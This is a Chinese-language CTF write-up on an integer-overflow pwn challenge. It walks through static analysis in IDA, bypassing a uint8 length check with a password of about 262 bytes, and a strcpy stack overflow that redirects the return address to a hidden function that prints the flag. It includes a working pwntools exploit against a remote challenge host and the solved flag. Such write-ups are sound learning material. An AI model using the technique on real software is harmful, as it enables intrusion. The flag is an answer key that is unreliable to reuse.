1.查看文件保护
题目名提示为整数溢出
ELF32 开启了NX(数据不可执行)
运行程序
欢迎提示后是一个选项,选1则要求输入名字和密码,判断后输出提示,退出程序;
选2则直接退出程序
2.IDA静态分析
(1)main
较为简单的程序逻辑:
选1后执行login()
(2)login()
接收长度为0x19的username并在Hello中输出
再接收一个为0x199的passwd
返回中执行check_passwd()
跟进check_passwd()
passwd长度为3-7时提示成功,在范围之外提示失败,并且在输出提示后清空输出缓冲区,最后执行strcpy将passwd复制给dest并返回
用来存储passwd的变量v3类型为无符号的int8,范围为[0,255],超出255就会发生整数溢出,而程序读入passwd输入时,大小为0x199,远远超出此范围,因此可以利用。
(3)查看字符串窗口
看到关键字符cat flag
跟进并查看交叉引用
找到一个what_is_this()函数,其内容为执行系统命令输出flag内容,其地址为0804868B
(4)思路整理
构建一个指定长度的串,传入函数,整数溢出突破if函数的判断,来到strcpy危险函数出,造成栈溢出,随后用system_cat_flag地址覆盖返回地址
选择256+3到256+7之间的长度的passwd都能发生整数溢出并且满足题目的长度要求;
check_passwd距离EBP的位移为0x14
,因此覆盖0x18
字节即可(返回地址占4字节),将返回地址覆盖为what_is_this()函数地址(0804868B),即能拿到flag
3.解题
EXP代码如下:
from pwn import *
p=remote('61.147.171.105',50586)
p.sendlineafter("choice:","1")
p.sendlineafter("username:\n","asd")
system_cat_flag_addr=0x0804868B
payload=b'A'*0x14+b"B"*0x4+p32(system_cat_flag_addr)+b'C'*(262-0x14-4-4)
#0x18是函数返回地址和buff之间的差值,加上system_cat_flagflag_addr的地址之后覆盖check_passwd函数的返回地 址,后面是256+4,构成了unsigned int 的溢出
p.sendlineafter("passwd:\n",payload)
p.interactive()
运行EXP:
flag为:cyberpeace{052a6fa6e57cb6bb3945204ac8b10d8b}